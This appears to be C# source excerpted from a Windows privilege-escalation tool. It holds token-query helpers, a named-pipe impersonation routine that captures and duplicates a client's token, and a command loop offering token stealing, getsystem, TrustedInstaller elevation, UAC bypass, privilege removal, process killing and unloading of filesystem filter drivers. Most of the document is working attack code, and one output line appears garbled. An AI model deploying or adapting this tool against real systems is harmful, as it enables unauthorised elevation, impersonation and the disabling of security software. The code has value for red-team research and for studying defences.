//////////////////////////////////////////////////////////////////////////////// // Displays the users associated with a token //////////////////////////////////////////////////////////////////////////////// public static void GetTokenUser(IntPtr hToken) { advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, 0, out UInt32 returnLength); IntPtr lpTokenInformation = Marshal.AllocHGlobal((Int32)returnLength); Ntifs._TOKEN_USER tokenUser; try { if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenUser, lpTokenInformation, returnLength, out returnLength)) { Tokens.GetWin32Error("GetTokenInformation - Pass 2"); return; } tokenUser = (Ntifs._TOKEN_USER)Marshal.PtrToStructure(lpTokenInformation, typeof(Ntifs._TOKEN_USER)); if (IntPtr.Zero == tokenUser.User[0].Sid) { Tokens.GetWin32Error("PtrToStructure"); } } catch (Exception ex) { Tokens.GetWin32Error("GetTokenInformation - Pass 2"); Console.WriteLine(ex.Message); return; } finally { Marshal.FreeHGlobal(lpTokenInformation); } Console.WriteLine("[+] User: "******"{0,-50} {1}", sid, account); return; }
//////////////////////////////////////////////////////////////////////////////// //https://blogs.msdn.microsoft.com/cjacks/2006/10/08/how-to-determine-if-a-user-is-a-member-of-the-administrators-group-with-uac-enabled-on-windows-vista/ //////////////////////////////////////////////////////////////////////////////// public static Boolean CheckElevation(IntPtr hToken) { Int32 output = -1; if (!_QueryTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenElevationType, ref output)) { Tokens.GetWin32Error("TokenElevationType"); return(false); } switch ((Winnt.TOKEN_ELEVATION_TYPE)output) { case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault:; return(false); case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeFull: return(true); case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited: return(false); default: return(true); } }
//////////////////////////////////////////////////////////////////////////////// // Private function to query a token with an enumeration result //////////////////////////////////////////////////////////////////////////////// private static Boolean _QueryTokenInformation(IntPtr hToken, Winnt._TOKEN_INFORMATION_CLASS informationClass, ref Int32 dwTokenInformation) { UInt32 tokenInformationLength = (UInt32)Marshal.SizeOf(typeof(UInt32)); IntPtr lpTokenInformation = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(UInt32))); try { if (!advapi32.GetTokenInformation(hToken, informationClass, lpTokenInformation, tokenInformationLength, out UInt32 returnLength)) { Tokens.GetWin32Error("GetTokenInformation"); return(false); } dwTokenInformation = Marshal.ReadInt32(lpTokenInformation); } catch (Exception ex) { Tokens.GetWin32Error("GetTokenInformation"); Console.WriteLine("[-] {0}", ex.Message); return(false); } finally { Marshal.FreeHGlobal(lpTokenInformation); } return(true); }
//////////////////////////////////////////////////////////////////////////////// // Lists the groups associated with a token //////////////////////////////////////////////////////////////////////////////// public static Boolean GetTokenGroups(IntPtr hToken) { advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenGroups, IntPtr.Zero, 0, out UInt32 returnLength); IntPtr lpTokenInformation = Marshal.AllocHGlobal((Int32)returnLength); Ntifs._TOKEN_GROUPS tokenGroups; try { if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenGroups, lpTokenInformation, returnLength, out returnLength)) { Tokens.GetWin32Error("GetTokenInformation - Pass 2"); return(false); } tokenGroups = (Ntifs._TOKEN_GROUPS)Marshal.PtrToStructure(lpTokenInformation, typeof(Ntifs._TOKEN_GROUPS)); } catch (Exception ex) { Tokens.GetWin32Error("GetTokenInformation - Pass 2"); Console.WriteLine(ex.Message); return(false); } finally { Marshal.FreeHGlobal(lpTokenInformation); } Console.WriteLine("[+] Enumerated {0} Groups: ", tokenGroups.GroupCount); for (Int32 i = 0; i < tokenGroups.GroupCount; i++) { _ReadSidAndName(tokenGroups.Groups[i].Sid, out String sid, out String account); Console.WriteLine("{0,-50} {1}", sid, account); } return(true); }
//////////////////////////////////////////////////////////////////////////////// //https://blogs.msdn.microsoft.com/cjacks/2006/10/08/how-to-determine-if-a-user-is-a-member-of-the-administrators-group-with-uac-enabled-on-windows-vista/ //////////////////////////////////////////////////////////////////////////////// public static Boolean GetElevationType(IntPtr hToken, out Winnt._TOKEN_TYPE tokenType) { Int32 output = -1; if (!_QueryTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenType, ref output)) { Tokens.GetWin32Error("TokenType"); tokenType = 0; return(false); } switch ((Winnt._TOKEN_TYPE)output) { case Winnt._TOKEN_TYPE.TokenPrimary: Console.WriteLine("[+] Primary Token"); tokenType = Winnt._TOKEN_TYPE.TokenPrimary; return(true); case Winnt._TOKEN_TYPE.TokenImpersonation: tokenType = Winnt._TOKEN_TYPE.TokenImpersonation; if (!_QueryTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenImpersonationLevel, ref output)) { return(false); } switch ((Winnt._SECURITY_IMPERSONATION_LEVEL)output) { case Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous: Console.WriteLine("[+] Anonymous Token"); return(true); case Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityIdentification: Console.WriteLine("[+] Identification Token"); return(true); case Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation: Console.WriteLine("[+] Impersonation Token"); return(true); case Winnt._SECURITY_IMPERSONATION_LEVEL.SecurityDelegation: Console.WriteLine("[+] Delegation Token"); return(true); default: Console.WriteLine("[-] Unknown Impersionation Type"); return(false); } default: Console.WriteLine("[-] Unknown Type {0}", output); tokenType = 0; return(false); } }
//////////////////////////////////////////////////////////////////////////////// // Wrapper for CreateProcessWithTokenW //////////////////////////////////////////////////////////////////////////////// public static Boolean CreateProcessWithTokenW(IntPtr phNewToken, String name, String arguments) { if (name.Contains(@"\")) { name = System.IO.Path.GetFullPath(name); if (!System.IO.File.Exists(name)) { Console.WriteLine("[-] File Not Found"); return(false); } } else { name = FindFilePath(name); if (String.Empty == name) { Console.WriteLine("[-] Unable to find file"); return(false); } } Console.WriteLine("[*] CreateProcessWithTokenW"); Winbase._STARTUPINFO startupInfo = new Winbase._STARTUPINFO { cb = (UInt32)Marshal.SizeOf(typeof(Winbase._STARTUPINFO)) }; Winbase._PROCESS_INFORMATION processInformation = new Winbase._PROCESS_INFORMATION(); if (!advapi32.CreateProcessWithTokenW( phNewToken, Winbase.LOGON_FLAGS.LOGON_NETCREDENTIALS_ONLY, name, name + " " + arguments, Winbase.CREATION_FLAGS.NONE, IntPtr.Zero, Environment.CurrentDirectory, ref startupInfo, out processInformation )) { Tokens.GetWin32Error("CreateProcessWithTokenW"); return(false); } Console.WriteLine(" [+] Created process: " + processInformation.dwProcessId); Console.WriteLine(" [+] Created thread: " + processInformation.dwThreadId); return(true); }
//////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// public static void GetPipeToken(String pipeName, String command) { Console.WriteLine("[*] Creating Listener Thread"); Thread thread = new Thread(() => _GetPipeToken(pipeName)); thread.Start(); waitHandle.WaitOne(); Console.WriteLine("[*] Joining Thread"); thread.Join(); Console.WriteLine("[*] Joined Thread"); if (IntPtr.Zero != hToken) { Console.WriteLine("[*] CreateProcessWithLogonW"); Winbase._STARTUPINFO startupInfo = new Winbase._STARTUPINFO(); startupInfo.cb = (UInt32)Marshal.SizeOf(typeof(Winbase._STARTUPINFO)); Winbase._PROCESS_INFORMATION processInformation = new Winbase._PROCESS_INFORMATION(); if (!advapi32.CreateProcessWithLogonW( "i", "j", "k", Winbase.LOGON_FLAGS.LOGON_NETCREDENTIALS_ONLY, command, command, Winbase.CREATION_FLAGS.CREATE_DEFAULT_ERROR_MODE, IntPtr.Zero, Environment.CurrentDirectory, ref startupInfo, out processInformation )) { Tokens.GetWin32Error("CreateProcessWithLogonW"); } else { Console.WriteLine(" [+] Created process: {0}", processInformation.dwProcessId); Console.WriteLine(" [+] Created thread: {1}", processInformation.dwThreadId); } kernel32.CloseHandle(hToken); hToken = IntPtr.Zero; } }
//////////////////////////////////////////////////////////////////////////////// // Open Process and a process token //////////////////////////////////////////////////////////////////////////////// private static Boolean OpenToken(Int32 processID, ref IntPtr hToken) { IntPtr hProcess = kernel32.OpenProcess(Constants.PROCESS_QUERY_INFORMATION, false, (UInt32)processID); if (IntPtr.Zero == hProcess) { Tokens.GetWin32Error("OpenProcess"); return(false); } Console.WriteLine("[*] Recieved Process Handle 0x{0}", hProcess.ToString("X4")); if (!kernel32.OpenProcessToken(hProcess, Constants.TOKEN_ALL_ACCESS, out hToken)) { if (!kernel32.OpenProcessToken(hProcess, (UInt32)Winnt.ACCESS_MASK.MAXIMUM_ALLOWED, out hToken)) { Tokens.GetWin32Error("OpenProcessToken"); return(false); } } Console.WriteLine("[*] Recieved Token Handle 0x{0}", hToken.ToString("X4")); kernel32.CloseHandle(hProcess); return(true); }
//////////////////////////////////////////////////////////////////////////////// //https://blogs.msdn.microsoft.com/cjacks/2006/10/08/how-to-determine-if-a-user-is-a-member-of-the-administrators-group-with-uac-enabled-on-windows-vista/ //////////////////////////////////////////////////////////////////////////////// public static Boolean PrintElevation(IntPtr hToken) { Int32 output = -1; if (!_QueryTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenElevationType, ref output)) { Tokens.GetWin32Error("TokenElevationType"); return(false); } switch ((Winnt.TOKEN_ELEVATION_TYPE)output) { case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault: Console.WriteLine("[+] TokenElevationTypeDefault"); Console.WriteLine("[*] Token: Not Split"); //Console.WriteLine("ProcessIntegrity: Medium/Low"); return(false); case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeFull: Console.WriteLine("[+] TokenElevationTypeFull"); Console.WriteLine("[*] Token: Split"); Console.WriteLine("[+] ProcessIntegrity: High"); return(true); case Winnt.TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited: Console.WriteLine("[-] TokenElevationTypeLimited"); Console.WriteLine("[*] Token: Split"); Console.WriteLine("[-] ProcessIntegrity: Medium/Low"); Console.WriteLine("[!] Hint: Try to Bypass UAC"); return(false); default: Console.WriteLine("[-] Unknown integrity {0}", output); Console.WriteLine("[!] Trying anyway"); return(true); } }
//////////////////////////////////////////////////////////////////////////////// // Checks if a Privilege Exists and is Enabled //////////////////////////////////////////////////////////////////////////////// public static Boolean CheckTokenPrivilege(IntPtr hToken, String privilegeName, out Boolean exists, out Boolean enabled) { exists = false; enabled = false; //////////////////////////////////////////////////////////////////////////////// advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenPrivileges, IntPtr.Zero, 0, out UInt32 TokenInfLength); if (TokenInfLength <= 0 || TokenInfLength > Int32.MaxValue) { Tokens.GetWin32Error("GetTokenInformation - 1 " + TokenInfLength); return(false); } IntPtr lpTokenInformation = Marshal.AllocHGlobal((Int32)TokenInfLength); //////////////////////////////////////////////////////////////////////////////// if (!advapi32.GetTokenInformation(hToken, Winnt._TOKEN_INFORMATION_CLASS.TokenPrivileges, lpTokenInformation, TokenInfLength, out TokenInfLength)) { Tokens.GetWin32Error("GetTokenInformation - 2 " + TokenInfLength); return(false); } Winnt._TOKEN_PRIVILEGES_ARRAY tokenPrivileges = (Winnt._TOKEN_PRIVILEGES_ARRAY)Marshal.PtrToStructure(lpTokenInformation, typeof(Winnt._TOKEN_PRIVILEGES_ARRAY)); Marshal.FreeHGlobal(lpTokenInformation); //////////////////////////////////////////////////////////////////////////////// for (Int32 i = 0; i < tokenPrivileges.PrivilegeCount; i++) { System.Text.StringBuilder lpName = new System.Text.StringBuilder(); Int32 cchName = 0; IntPtr lpLuid = Marshal.AllocHGlobal(Marshal.SizeOf(tokenPrivileges.Privileges[i])); Marshal.StructureToPtr(tokenPrivileges.Privileges[i].Luid, lpLuid, true); try { advapi32.LookupPrivilegeName(null, lpLuid, null, ref cchName); if (cchName <= 0 || cchName > Int32.MaxValue) { Tokens.GetWin32Error("LookupPrivilegeName Pass 1"); continue; } lpName.EnsureCapacity(cchName + 1); if (!advapi32.LookupPrivilegeName(null, lpLuid, lpName, ref cchName)) { Tokens.GetWin32Error("LookupPrivilegeName Pass 2"); continue; } if (lpName.ToString() != privilegeName) { continue; } exists = true; Winnt._PRIVILEGE_SET privilegeSet = new Winnt._PRIVILEGE_SET { PrivilegeCount = 1, Control = Winnt.PRIVILEGE_SET_ALL_NECESSARY, Privilege = new Winnt._LUID_AND_ATTRIBUTES[] { tokenPrivileges.Privileges[i] } }; if (!advapi32.PrivilegeCheck(hToken, privilegeSet, out IntPtr pfResult)) { Tokens.GetWin32Error("PrivilegeCheck"); continue; } enabled = Convert.ToBoolean(pfResult.ToInt32()); } catch (Exception ex) { Console.WriteLine(ex.Message); return(false); } finally { Marshal.FreeHGlobal(lpLuid); } } Console.WriteLine(); return(false); }
//////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// private static Boolean _GetPipeToken(String pipeName) { IntPtr hNamedPipe = IntPtr.Zero; try { hNamedPipe = kernel32.CreateNamedPipeA(pipeName, Winbase.OPEN_MODE.PIPE_ACCESS_DUPLEX, Winbase.PIPE_MODE.PIPE_TYPE_MESSAGE | Winbase.PIPE_MODE.PIPE_WAIT, 2, 0, 0, 0, IntPtr.Zero); if (IntPtr.Zero == hNamedPipe) { Tokens.GetWin32Error("CreateNamedPipeA"); return(false); } Console.WriteLine("[+] Created Pipe {0}", pipeName); waitHandle.Set(); if (!kernel32.ConnectNamedPipe(hNamedPipe, IntPtr.Zero)) { Tokens.GetWin32Error("ConnectNamedPipe"); return(false); } Console.WriteLine("[+] Connected to Pipe {0}", pipeName); Byte[] lpBuffer = new Byte[128]; UInt32 lpNumberOfBytesRead = 0; if (!kernel32.ReadFile(hNamedPipe, lpBuffer, 1, ref lpNumberOfBytesRead, IntPtr.Zero)) { Tokens.GetWin32Error("ReadFile"); return(false); } Console.WriteLine("[+] Read Pipe {0}", pipeName); if (!advapi32.ImpersonateNamedPipeClient(hNamedPipe)) { Tokens.GetWin32Error("ImpersonateNamedPipeClient"); return(false); } Console.WriteLine("[+] Impersonated Pipe {0}", pipeName); Winbase._SECURITY_ATTRIBUTES sa = new Winbase._SECURITY_ATTRIBUTES(); sa.bInheritHandle = false; sa.nLength = (UInt32)Marshal.SizeOf(sa); sa.lpSecurityDescriptor = (IntPtr)0; if (!kernel32.OpenThreadToken(kernel32.GetCurrentThread(), Constants.TOKEN_ALL_ACCESS, false, ref hToken)) { Tokens.GetWin32Error("OpenThreadToken"); return(false); } Console.WriteLine("[+] Thread Token 0x{0}", hToken.ToString("X4")); IntPtr phNewToken = new IntPtr(); UInt32 result = ntdll.NtDuplicateToken(hToken, Constants.TOKEN_ALL_ACCESS, IntPtr.Zero, true, Winnt._TOKEN_TYPE.TokenPrimary, ref phNewToken); if (IntPtr.Zero == phNewToken) { result = ntdll.NtDuplicateToken(hToken, Constants.TOKEN_ALL_ACCESS, IntPtr.Zero, true, Winnt._TOKEN_TYPE.TokenImpersonation, ref phNewToken); if (IntPtr.Zero == phNewToken) { Tokens.GetNtError("NtDuplicateToken", result); return(false); } } if (IntPtr.Zero != phNewToken) { hToken = phNewToken; } } catch (Exception ex) { Console.WriteLine("[-] {0}", ex.Message); return(false); } finally { if (IntPtr.Zero != hNamedPipe) { kernel32.DisconnectNamedPipe(hNamedPipe); kernel32.CloseHandle(hNamedPipe); } } return(true); }
internal void Run() { try { Console.Write(context); String input; if (activateTabs) { input = console.ReadLine(); } else { input = Console.ReadLine(); } IntPtr tempToken = IntPtr.Zero; kernel32.OpenProcessToken(kernel32.GetCurrentProcess(), Constants.TOKEN_ALL_ACCESS, out IntPtr hToken); switch (NextItem(ref input)) { case "info": if (GetProcessID(input, out processID, out command) && OpenToken(processID, ref tempToken)) { hToken = tempToken; } Console.WriteLine(""); CheckPrivileges.GetTokenUser(hToken); Console.WriteLine(""); CheckPrivileges.GetTokenOwner(hToken); Console.WriteLine(""); CheckPrivileges.GetTokenGroups(hToken); Console.WriteLine(""); CheckPrivileges.GetElevationType(hToken, out Winnt._TOKEN_TYPE tokenType); CheckPrivileges.PrintElevation(hToken); break; case "list_privileges": if (GetProcessID(input, out processID, out command)) { if (OpenToken(processID, ref tempToken)) { hToken = tempToken; } else { break; } } Tokens.EnumerateTokenPrivileges(hToken); break; case "enable_privilege": if (GetProcessID(input, out processID, out command)) { if (OpenToken(processID, ref tempToken)) { hToken = tempToken; } else { break; } } Tokens.SetTokenPrivilege(ref hToken, command, Winnt.TokenPrivileges.SE_PRIVILEGE_ENABLED); break; case "disable_privilege": if (GetProcessID(input, out processID, out command)) { if (OpenToken(processID, ref tempToken)) { hToken = tempToken; } else { break; } } Tokens.SetTokenPrivilege(ref hToken, command, Winnt.TokenPrivileges.SE_PRIVILEGE_NONE); break; case "remove_privilege": if (GetProcessID(input, out processID, out command)) { if (OpenToken(processID, ref tempToken)) { hToken = tempToken; } else { break; } } Tokens.SetTokenPrivilege(ref hToken, command, Winnt.TokenPrivileges.SE_PRIVILEGE_REMOVED); break; case "nuke_privileges": if (GetProcessID(input, out processID, out command)) { if (OpenToken(processID, ref tempToken)) { hToken = tempToken; } else { break; } } Tokens.DisableAndRemoveAllTokenPrivileges(ref hToken); break; case "terminate": if (GetProcessID(input, out processID, out command)) { IntPtr hProcess = kernel32.OpenProcess(Constants.PROCESS_TERMINATE, false, (UInt32)processID); if (IntPtr.Zero == hProcess) { Tokens.GetWin32Error("OpenProcess"); break; } Console.WriteLine("[*] Recieved Process Handle 0x{0}", hProcess.ToString("X4")); if (!kernel32.TerminateProcess(hProcess, 0)) { Tokens.GetWin32Error("TerminateProcess"); break; } Console.WriteLine("[+] Process Terminated"); } break; case "sample_processes": users = Enumeration.EnumerateTokens(false); Console.WriteLine("{0,-40}{1,-20}{2}", "User", "Process ID", "Process Name"); Console.WriteLine("{0,-40}{1,-20}{2}", "----", "----------", "------------"); foreach (String name in users.Keys) { Console.WriteLine("{0,-40}{1,-20}{2}", name, users[name], Process.GetProcessById((Int32)users[name]).ProcessName); } break; case "sample_processes_wmi": users = Enumeration.EnumerateTokensWMI(); Console.WriteLine("{0,-40}{1,-20}{2}", "User", "Process ID", "Process Name"); Console.WriteLine("{0,-40}{1,-20}{2}", "----", "----------", "------------"); foreach (String name in users.Keys) { Console.WriteLine("{0,-40}{1,-20}{2}", name, users[name], Process.GetProcessById((Int32)users[name]).ProcessName); } break; case "find_user_processes": processes = Enumeration.EnumerateUserProcesses(false, input); Console.WriteLine("{0,-30}{1,-30}", "Process ID", "Process Name"); Console.WriteLine("{0,-30}{1,-30}", "----------", "------------"); foreach (UInt32 pid in processes.Keys) { Console.WriteLine("{0,-30}{1,-30}", pid, processes[pid]); } break; case "find_user_processes_wmi": processes = Enumeration.EnumerateUserProcessesWMI(input); Console.WriteLine("{0,-30}{1,-30}", "Process ID", "Process Name"); Console.WriteLine("{0,-30}{1,-30}", "----------", "------------"); foreach (UInt32 pid in processes.Keys) { Console.WriteLine("{0,-30}{1,-30}", pid, processes[pid]); } break; case "list_filters": using (Filters filters = new Filters()) { filters.First(); filters.Next(); } break; case "list_filter_instances": using (FilterInstance filterInstance = new FilterInstance(NextItem(ref input))) { filterInstance.First(); filterInstance.Next(); } break; case "detach_filter": Filters.FilterDetach(input); break; case "unload_filter": Filters.Unload(NextItem(ref input)); break; case "sessions": Enumeration.EnumerateInteractiveUserSessions(); break; case "getsystem": GetSystem(input, hToken); break; case "gettrustedinstaller": GetTrustedInstaller(input); break; case "steal_token": StealToken(input); break; case "steal_pipe_token": StealPipeToken(input); break; case "bypassuac": BypassUAC(input); break; case "whoami": Console.WriteLine("[*] Operating as {0}", WindowsIdentity.GetCurrent().Name); break; case "reverttoself": String message = advapi32.RevertToSelf() ? "[*] Reverted token to " + WindowsIdentity.GetCurrent().Name : "[-] RevertToSelf failed"; Console.WriteLine(message); break; case "run": Run(input); break; case "runpowershell": RunPowerShell(input); break; case "exit": Environment.Exit(0); break; case "help": String item = NextItem(ref input); if ("help" != item) { Help(item); } else { Help(); } break; default: Help(); break; } if (IntPtr.Zero != hToken) { kernel32.CloseHandle(hToken); } Console.WriteLine(); } catch (Exception error) { Console.WriteLine(error.ToString()); Tokens.GetWin32Error("MainLoop"); } finally { } }